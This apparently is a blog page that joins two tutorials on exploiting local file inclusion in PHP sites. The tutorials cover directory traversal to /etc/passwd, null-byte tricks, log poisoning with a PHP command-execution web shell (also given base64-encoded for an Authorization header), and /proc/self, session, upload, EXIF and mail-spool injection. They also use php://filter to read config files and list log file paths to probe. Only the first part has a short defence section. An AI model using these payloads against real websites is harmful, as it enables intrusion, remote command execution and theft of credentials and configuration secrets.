Showing posts with label LFI. Show all posts
Showing posts with label LFI. Show all posts

LFI’s Exploitation Techniques

What’s a Local File Inclusion?A local file inclusion (usually called “LFI”) is a webhacking technique that allow simply to include files from a local location. That means that we can include a file that is outside of the web directory (if we got rights), and execute PHP code.
<?php include($_GET[‘page’]);?>
This code will search for the variable GET “Page”, include and execute the page specified by that GET variable. If you wan’t an example, you’ve surely already seen an website with something like “index.php?page=news.php” that’s it, that’s in a lot of case, an include. To start include file locally, we’ll use “../” that allow us to go to an directory upper than the actual one. We’ll try to include the file /etc/passwd, well, it’s not always readable but it’s a good start. We’ll use “../” to go to the root, then load /etc/passwd.
http://sitelambda.com/index.php?page=../../../../../../../../../../etc/passwd
I personally prefer using “./” before the page name to verify if there’s an exploitable local file inclusion (example: index.php?page=news.php >> index.php?page=./news.php if it works, mostly there’s an LFI) but it won’t always work. Note that /etc/password will only works on Linux system.
The null byte technique.In most cases, the webmaster will not do an include like that, he’ll prefer add himself “.php” at the end of the inclusion. (Well, we can say that index.php?p=newsis prettier than index.php?p=news.php) He’ll use a code like that:
<?php include($_GET[‘page’].”.php”);?>
So, this time, the php will include again a page with the GET variable page, but it’ll add .php at the end. To bypass this restriction, we’ll use the null byte. The principe of the null byte is that it is an line terminator char. It means that everything after the null byte will be deleted. To use it, you’ll have to got a website with magic quotes off. The character urlencoded is “” (the browser will automatically translate it) so, for example, this time we’ll gotta use that:
http://sitelambda.com/index.php?page=../../../../../../../../../../etc/passwd
It’ll include /etc/passwd perfectly. The .php will be deleted by the null byte.

And now that I got a LFI, what should I do?
I actually know only 4 LFI exploitation technique, there they are:

The access.log
The principe is simple, we’ll include the log file that logs all the web connections to the server. In our case, it’ll be the access.log, but it can also be access_log, or any name in fact. (You’ll gotta see the apache/httpd configuration to know what’s the logfile name).
http://site.com/&lt;? phpinfo(); ?>
By the way, I think that the useragent is not urlencoded, so you can modify it and try with that.
The /proc/self/environ
You’ll gotta do something like that, then the server will log it inside the access_log, and when  you’ll include it, the code will be executed. Note that your browser automatically urlencode your special chars, so you’ll have to go to that url with a script that won’t auto-urlencode. If you go with your browser, it’ll be something like: “%3C? phpinfo(); ?%3E”.
It’s my favorite one. Try to include /proc/self/environ, you will see a list of actual processus variable. (Well, if you got rights to include that file, that’s not often the case) you’ll see something like that if you’re on Mozilla:
HTTP_USER_AGENT=Mozilla/5.0
Why it is interessant? Because you’ll can change your useragent to suit the php code you want. How? Go to “about:config” (type it in your Firefox Browser), create a new line, string, with these datas: “general.useragent.override” for the name, and “<? phpinfo(); ?>” for the value. (Note that there’s some tool that do it automatically, like useragent switcher). Reload the page, and you’ll see an phpinfo instead of “Mozilla/5.0”
The PHP Sessions Exploitation.
Another exploitation is the sessions exploitation. If your site got php sessions (phpsessid, etc..) you’ll can include them and if you can modify the datas, it’ll be easy to execute code. You’ll gotta include sess_[your phpsessid value]. Most of time, it is in /tmp, but you’ll can find it sometimes in /var/lib/php5/ also, etc.. The data stored in phpsessid should be everything (like a name at a register, an option you choose).
index.php?p=../../../../../../tmp/sess_tnrdo9ub2tsdurntv0pdir1no7
I suggest you to surf a little before trying to include the phpsessid, touch at everything, modify options, etc..
The upload
We don’t often heard of it, but it’s the easiest technique. Just upload a file that contain php code, include it. Example: There’s an forum on the site you’re actually trying LFIs, upload an avatar with modified code that contain php (hexedit it, and modify only at the center of the datas, so the forum will still recognize it as an image). Found the right path, and include your avatar, tadaa, your code is executed.

Read a file with LFI
There’s a technique that will allow us to “read” a file with a LFI. (Interessant file to check should be config.php file, that normally, will only be executed, not shown). We’ll use PHP Filters to help us do it:
index.php?page=php://filter/read=convert.base64-encode/resource=config
This code will base64 the resource “config” (like if it was index.php?page=config, but with base64’d) with that, your code won’t be executed, and you’ll can base64_decode() it after to take the original config.php file. This method won’t need magic quotes but you’ll need to have a PHP Version higher or egal to PHP5.

Special cases
Sometimes, even if you can read the /etc/passwd, it is not an include. For example, when they’ll use readfile() in php, it’ll load the file, but php code won’t be executed. It’s a problem to execute php code, but well, it’ll give you an advantage on one point, you’ll can read configs file.
index.php?page=./forum/config
Then show the source of the page (CTRL+U) to have the code.

The “Does a folder exist” trick.
If you got a LFI, a good technique to know if a folder exist is simply to enter, then go out of it. Example:
index.php?page=../../../../../../var/www/dossierexistant/../../../../../etc/passwd

How to protect from LFIs?
Well, first, activate magic quotes, it’s not the “perfect solution”, but it’ll help. Then you should also activate open_basedir to only read into your web folder and /tmp, you should also do a function that parse the “/” , “.” and “” char.
But well, the best option is the non dynamic include.
if ($_GET[‘page’] == “news”) {include(“news.php”);} else {include (“accueil.php”);}



LFI (local File Inclusion) Injection pentesting TUTORIAL


originally Written By : "Pakistani Hacker Pakistan Cyber ATTACKERS Team"

Local File Inclusion

As the title says, this is a "short" and descriptive guide about

various methods to exploit using a local file inclusion (LFI).

I will cover the following topics:



• Poison NULL Bytes

• Log Poisoning

• /proc/self/

• Alternative Log Poisoning

• Malicious image upload

• Injection of code by the use of e-mails

• Creativity

By: Fredrik Nordberg Almroth



So the question is. What is a LFI?

A LFI is, as the title says,

a method for servers/scripts to include local files on run-time,

in order to make complex systems of procedure calls.

Well most of the time, you find the LFI vulnerabilities in URL's

of the web pages.

Mainly because developers tend to like the use of GET requests

when including pages.

Nothing more. Nothing less.

So now, let's proceed shall we?

How do you find (fingerprint) them?

Let's say you find the following URL:

Code:
http://site.com/this/exploit/do.php?
not=exist.php&for=real

Notice, that this URL goes to the do.php which is a sub-domain to
site.com.

It has several parameters for the internal do.php to parse, the
not and the for variable.

Let's study them a bit more.
The not variable contains the value of "exist.php", and the for
variable contains "real".

Now it turned pretty obvious, didn't it?
The not variable seem to take another PHP file as an argument,
most possibly for inclusion!

Hurray!

Let's try to play around with it!

Now what?

Let's try to tamper with the URL to see what we can do with it.

Let's change the content of the not variable to "/etc/passwd" and

see what happens.

Of course you can change the /etc/passwd to any other file of your
choice, but we'll just stick with it through out this tutorial.

Code:
http://site.com/this/exploit/do.php?
not=/etc/passwd&for=real

Let's check the result!

If you get a result looking something like this:

root:x:0:0:root:/root:/bin/bash
bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/sbin:/sbin/nologin
adm:x:3:4:adm:/var/adm:/sbin/nologin
lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin
sync:x:5:0:sync:/sbin:/bin/sync
shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown
halt:x:7:0:halt:/sbin:/sbin/halt
mail:x:8:12:mail:/var/spool/mail:/sbin/nologin
news:x:9:13:news:/etc/news:
uucp:x:10:14:uucp:/var/spool/uucp:/sbin/nologin
operator:x:11:0:operator:/root:/sbin/nologin
games:x:12:100:games:/usr/games:/sbin/nologin
test:x:13:30:test:/var/test:/sbin/nologin
ftp:x:14:50:FTP User:/var/ftp:/sbin/nologin
nobody:x:99:99:Nobody:/:/sbin/nologin

Then sir. You've done it correctly. You've found a LFI

vulnerability!

The /etc/passwd file is world-readable on *NIX systems.
That means, you can, by a 99% chance, read it.

Unless someone have changed permissions or changed the
open_basedir configuration.

But more of that some other time!

Now let's try another scenario.

Say the programmer of the website coded like this:

Code:
<?php “include/”.include($_GET['for'].“.php”); ?>

How would we do then? We can't read /etc/passwd because the script
appends .php to the end of the file.

What to do, what to do...

Gladly for you, there's another trick here.

Poison NULL Byte.

The NULL byte, is a special byte used everywhere in the background

of your computer (or your targets).

It's the binary representation of: 00000000.

Yes. 8 zero's in binary, or the hexadecimal representation of

0x00.

Right...

One of the usages of this special byte is to terminate strings.

If you've been programming for a while, you must know what a
string is.

An amount of text! Okay, it sounds complex now.

But this method is really really simple.

To bypass the .php concatenation, we simply append after our

filename.

Code:
http://site.com/this/exploit/do.php?for=/etc/passwd

And hopefully, your result is once again:

root:x:0:0:root:/root:/bin/bash (…)

Awesome, we can now read any file on the server (with the
privileges the account on the server we've now obtained)!
Now you might ask, how can we execute code through this?
The answer is...

Log poisoning:

Say we're exploiting a plain normal Apache server.

By default, it create two log files called access_log and

error_log on the server.

If we tamper those logs we can successfully upload our own PHP

code on the server, which might give you remote command execution

if you wish, the choice is yours.

The question is, where are those logs stored?

Gladly for you, i've compiled a small list.
Here you go:

Code:
/etc/httpd/logs/access.log
/etc/httpd/logs/access_log
/etc/httpd/logs/error.log
/etc/httpd/logs/error_log
/opt/lampp/logs/access_log
/opt/lampp/logs/error_log
/usr/local/apache/log
/usr/local/apache/logs
/usr/local/apache/logs/access.log
/usr/local/apache/logs/access_log
/usr/local/apache/logs/error.log
/usr/local/apache/logs/error_log
/usr/local/etc/httpd/logs/access_log
/usr/local/etc/httpd/logs/error_log
/usr/local/www/logs/thttpd_log
/var/apache/logs/access_log
/var/apache/logs/error_log
/var/log/apache/access.log
/var/log/apache/error.log
/var/log/apache-ssl/access.log
/var/log/apache-ssl/error.log
/var/log/httpd/access_log
/var/log/httpd/error_log
/var/log/httpsd/ssl.access_log
/var/log/httpsd/ssl_log
/var/log/thttpd_log
/var/www/log/access_log
/var/www/log/error_log
/var/www/logs/access.log
/var/www/logs/access_log
/var/www/logs/error.log
/var/www/logs/error_log
C:\apache\logs\access.log
C:\apache\logs\error.log
C:\Program Files\Apache Group\Apache\logs\access.log
C:\Program Files\Apache Group\Apache\logs\error.log
C:\program files\wamp\apache2\logs
C:\wamp\apache2\logs
C:\wamp\logs
C:\xampp\apache\logs\access.log
C:\xampp\apache\logs\error.log

Now, there's two good methods for proceeding, depending of which
log you choose.

The best one (in my opinion) is by accessing the error_log.
This method is a little outside the box.

Say you find an LFI on this server, by simple going to this URL,
PHP code will be saved in the error_log:

Code:
http://site.com/<?PHP+$s=$_GET;@chdir($s['x']);echo@system($s['y'])?>

Now try to reach it by going here:

Code:
http://site.com/this/exploit/do.php?for=/var/log/apache/logs/error_log&x=/&y=uname

If your result says something like Linux then your code execution
was successful.
Yeah yeah, you get the point. It gets stored in the error_log
because the 
Code:
<?PHP $s=$_GET;@chdir($s['x']);echo@system($s['y'])?>

file do not exist.

Method #2; accessing the access_log. It's a little bit more

complicated, the best way to do this is to put PHP code in your

user-agent.

There's a great plug-in for Firefox called "User Agent Switcher"

to do this on the fly.

Other than that, it's the same thing.
Go to:
Code:
http://site.com/

Or any other file accessible on the server, with your user-agent

spoofed to your PHP snippet.

Then go to the access_log in order to execute the code; eg:

Code:
http://site.com/this/exploit/do.php?for=/var/log/apache/logs/access_log&x=/&y=<<command goes here>>

Yeah sure, you're so cool, you can execute your own code! Now,let's be hardcore.
/proc/self:

The Linux kernel is fascinating.
I'm not sure if you've heard of this, but the /proc/self is a symbolic link (symlink) going to the instance of the target HTTP
server.
There is several things you can do by using this link, one is to
do the access_log-method, by simply spoofing your user-agent to
PHP code, then try to include

the /proc/self/environ.

Everyone knows that these days.

That's not fun. However your code will be executed!

Let's move on to more... Uncommon methods.

You can obtain the HTTP configuration file by simply trying to

include /proc/self/cmdline,

because most of the time the config file is set by a command-line
argument,

a simple, but a cool "feature", nothing malicious here, that's
just the way it works.

What you choose to do with the config file is up to you.
The log-file location(s) tend to be in there...

You got the grip now, I'll just keep writing.

There is yet another way to resolve the log-files by using this
link, by simply going to the file description of the log file (the
running stream).
Handy?
• Yes

No need for you to run a dictionary-attack in order to resolve the
different log-files or to include the /proc/self/cmdline.

Now, how do we access those file descriptions?
Well sir, the /proc/self tend to have a folder (?) called fd.
You guessed it right.

fd do stand for file description.
The content within fd is numeric ID's going to different open
files.

So the easiest way for us to find is, is to simply iterate our way

through.
Code:
http://site.com/this/exploit/do.php?for=/proc/self/fd/0
http://site.com/this/exploit/do.php?
for=/proc/self/fd/1
http://site.com/this/exploit/do.php?
for=/proc/self/fd/2
…
http://site.com/this/exploit/do.ph p ?
for=/proc/self/fd/N

Sooner or later, you'll find one of the log-files.
By doing that you just go with the access_log or the error_log
method(s).
Now seriously. Have you ever had any success with the ordinary
"Log Poisoning" methods?
I mean, in like 95% of the cases your requests gets URI encoded,
and by that ruining your code.
So here comes an alternative method:
Alternative Log Poisoning:
Apache got the tendency to log the Authorized user if any is
specified.
The Authorization header is a part of the HTTP protocol, I've bet
you've seen it.
It creates a prompt asking for a username and password as htaccess
do when you try to reach a protected folder.
Internet Explorer makes a prompt looking like this:
Yeah, well. The username and password gets sent base64 encoded
with : as a separator.
And as you might have figured out, the base64 wont get URIencoded!
So by providing this header in your HTTP request:
Authorization: Basic
PD9QSFAgJHM9JF9HRVQ7QGNoZGlyKCRzWyd4J10pO2VjaG9Ac3lzdGVtKCRzWyd5J1
0pPz46
The code will stay untouched, and simply unpacked by Apache
straight to the logs.
The base64 is the small PHP payload I've used earlier,
just with a : in the end to follow the HTTP RFC's.
Now when we're on to it, exploiting using different methods and
stuff.
Why not exploit LFI with a JPG?
Malicious image upload:
Yes, you heard me. You can use a picture in order to execute code
by the use of a LFI vulnerability.
However you need special software to do this for you.
The attack consists in changing the EXIF data of the image of your
choose.
Say you're exploiting a community, which allows image uploads, for
let's say, your avatar.
By tampering with the EXIF data and by finding a LFI
you can take full control! Cool huh?
The EXIF data tend to hold what camera model, year, place,
location, etc... When the image was taken, but, as proven before,
it's rather easy to tamper with.
Injection of code by the use of e-mails:
Say your target server got port 109 or 110 open (POP2 or POP3) for
handling of e-mails.
You could send an e-mail to the HTTP server-user on target box.
Like: apache@site.com
And then try to include the /var/spool/mail/apache if this exists.
It's possible to execute through this as well.
However it's not very common to find this specific exploit.
Of course, the mail you send will contain the PHP code for you to
execute.
There is literary hundreds of ways to perform this attack
depending on the mail-server running back-end.
Qmail, for example, stores the incoming mails in /var/log/maillog
by default, but as been said before, this is thinking outside the
box.
Creativity:
Why stop here?
I'm sure the Linux kernel, IRIX, AIM, Windows, SunOS, BSD and
other OS'es provides yet more interesting exploit scenarios.
Do they have SSH open?
If so, try to inject PHP code as the SSH username and go grab the
SSH log.
Will it work? Maybe?
Can the embedding of malicious content like the JPG EXIF field be
done withing a MP3 file?
Try it yourself. Be creative.


ALLAH HAFIZ